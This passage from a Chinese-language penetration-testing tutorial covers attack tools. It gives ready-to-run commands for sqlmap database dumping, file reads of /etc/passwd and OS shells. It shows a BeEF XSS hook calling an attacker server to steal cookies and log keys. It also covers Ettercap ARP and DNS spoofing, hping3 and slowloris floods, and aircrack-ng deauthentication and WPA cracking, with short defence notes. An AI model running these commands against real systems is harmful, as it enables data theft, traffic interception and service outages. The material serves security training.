  • 列出指定数据库的表 :sqlmap -u <URL> -D <数据库名> --tables
  • 列出表的列 :sqlmap -u <URL> -D <数据库名> -T <表名> --columns
  • 导出数据 :sqlmap -u <URL> -D <数据库名> -T <表名> --dump
四、访问文件系统
  • 读取文件 :sqlmap -u <URL> --file-read="/etc/passwd"
  • 写入文件 (需有写权限):sqlmap -u <URL> --file-write="/本地文件" --file-dest="/目标路径"
五、获取操作系统 shell
  • 获取 OS Shell :sqlmap -u <URL> --os-shell,sqlmap会尝试利用数据库执行系统命令,返回交互式shell。
六、绕过 WAF 与隧道
  • 使用 tamper 脚本 :--tamper=space2comment(将空格替换为注释),绕过简单WAF。
  • 通过代理 :--proxy=http://127.0.0.1:8080,结合Burp Suite调试。
七、实际案例演示

假设存在注入点的测试环境URL:http://testweb.com/product?id=5

  1. 检测:sqlmap -u "http://testweb.com/product?id=5" --batch(自动确认)
  2. 发现存在注入,数据库为MySQL。
  3. 枚举数据库:sqlmap -u "http://testweb.com/product?id=5" --dbs,得到shopdb
  4. 枚举表:sqlmap -u "http://testweb.com/product?id=5" -D shopdb --tables,得到users
  5. 导出用户表:sqlmap -u "http://testweb.com/product?id=5" -D shopdb -T users --dump,获取用户名和哈希密码。

4.5.2 XSS攻击工具:XSStrike、BeEF

1.XSStrike

XSStrike是一款先进的XSS检测工具,内置多种检测向量和绕过技术。

2.BeEF Browser Exploitation Framework

BeEF专注于浏览器端的攻击,通过钩住目标浏览器,执行各种命令模块。

架构

  • Hook:一段JavaScript代码,嵌入到目标页面中,使目标浏览器连接到BeEF服务器。
  • 命令模块:BeEF服务器向钩住的浏览器发送指令,如获取Cookie、键盘记录、内网扫描等。

部署 BeEF 服务器

  1. 安装(Kali自带,或从GitHub克隆)。
  2. 编辑配置文件config.yaml,设置用户名密码。
  3. 启动:./beef,访问http://127.0.0.1:3000/ui/panel登录管理界面。

利用 XSS 漏洞钩住目标浏览器

  1. 在目标网站上发现XSS漏洞,可以插入<script src="http://<BeEF``服务器``IP>:3000/hook.js"></script>
  2. 当用户访问该页面时,浏览器会执行hook.js,连接到BeEF服务器,目标出现在在线列表中。

常用模块演示

  • 获取 Cookie:选择目标 -> Commands -> Browser -> Get Cookie,执行后返回当前页面的Cookie。
  • 键盘记录:使用"Key Logger"模块,记录用户在页面上的所有按键。
  • 内网扫描:使用"Ping Sweep"模块,从受害浏览器向内网发送探测,发现存活主机。

防御:严格过滤用户输入,启用CSP(内容安全策略),限制脚本加载来源。

4.5.3 中间人攻击工具:Ettercap

Ettercap是一款综合性的中间人攻击工具,支持ARP欺骗、ICMP重定向等,并内置多种插件和过滤器。

一、工作原理
  • ARP 欺骗:在局域网中发送伪造ARP应答,使目标将网关流量指向攻击机。
  • ICMP 重定向:较少用,但可重定向路由。
  • 端口盗用:用于交换环境。
二、图形界面与命令行
  • 启动图形界面 :ettercap -G
  • 命令行模式 :ettercap -T(文本界面)
三、启动 ARP 欺骗攻击
  1. 开启IP转发:echo 1 > /proc/sys/net/ipv4/ip_forward
  2. 统一欺骗(同时欺骗目标和网关):
复制代码
ettercap -T -M arp:remote /目标IP/ /网关IP/
  1. 攻击开始后,Ettercap会显示经过的HTTP、FTP等明文流量,可嗅探到用户名密码。
四、插件与过滤器
  • 插件 :如dns_spoof(DNS欺骗),需在启动时指定。

    ettercap -T -M arp -P dns_spoof /目标IP/ /网关IP/

  • 过滤器 :可编写过滤脚本,实时修改数据包内容(如替换网页图片)。编写.filter文件,用etterfilter编译为.ef,然后使用-F加载。

示例过滤器(替换网页内容):

if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "Accept-Encoding")) {

replace("Accept-Encoding", "Accept-Rubbish!");

msg("zapped Accept-Encoding!\n");

}

}

五、防御检测方法
  • 静态ARP绑定(网关和关键服务器)。
  • 启用DHCP Snooping和DAI。
  • 使用加密通信(HTTPS、SSH)。

4.5.4 拒绝服务攻击工具:hping3、slowloris

1.hping3

hping3是强大的TCP/IP数据包构造器,可用于测试防火墙规则、模拟DDoS攻击(授权环境下)。

  • SYN Flood
复制代码
hping3 -S -p 80 --flood --rand-source <目标IP>
    • -S:SYN包。
    • -p 80:目标端口。
    • --flood:尽可能快发包。
    • --rand-source:伪造随机源IP。
  • ICMP Flood
复制代码
hping3 -1 --flood --rand-source <目标IP>
  • ACK Flood
复制代码
hping3 -A -p 80 --flood --rand-source <目标IP>

防御:在防火墙上限制连接速率,启用SYN Cookie,部署专业抗DDoS设备。

2.slowloris

slowloris是一种慢速HTTP DoS攻击,通过建立大量不完整的HTTP请求,耗尽服务器连接池。

  • 原理:向Web服务器发送HTTP GET请求,但每次只发送少量数据,保持连接打开,最终占满所有可用连接。
  • 工具:有多种实现,如Python版slowloris。
复制代码
python slowloris.py -p 80 -s 1000 <目标IP>
  • 防御:限制单个IP的连接数,调整服务器超时参数,使用反DDoS模块。

4.5.5 无线网络攻击工具

无线网络攻击在单位环境中可能涉及访客Wi-Fi的安全性测试。以下工具仅作简介,实际使用需严格授权。

1.Aircrack-ng 套件

包含一系列用于评估Wi-Fi安全的工具:

  • airmon-ng:启用无线网卡的监控模式。
  • airodump-ng:捕获无线数据包,显示附近AP和客户端。
  • aireplay-ng:注入数据包,用于去认证攻击、ARP重放等。
  • aircrack-ng:破解WEP/WPA2密钥(通过抓取的握手包)。

基本流程(仅限授权测试):

  1. 开启监控模式:airmon-ng start wlan0
  2. 扫描周围网络:airodump-ng wlan0mon
  3. 抓取目标AP的握手包:airodump-ng -c <信道> --bssid <AP MAC> -w capture wlan0mon
  4. 对客户端进行去认证攻击,迫使其重新连接:aireplay-ng -0 2 -a <AP MAC> -c <客户端MAC> wlan0mon
  5. aircrack-ng破解握手包:aircrack-ng -w wordlist.txt capture-01.cap
2. 防御
  • 使用WPA2/WPA3,设置强密码。
  • 启用802.1X认证(企业级)。
  • 定期更换密码,禁用WPS。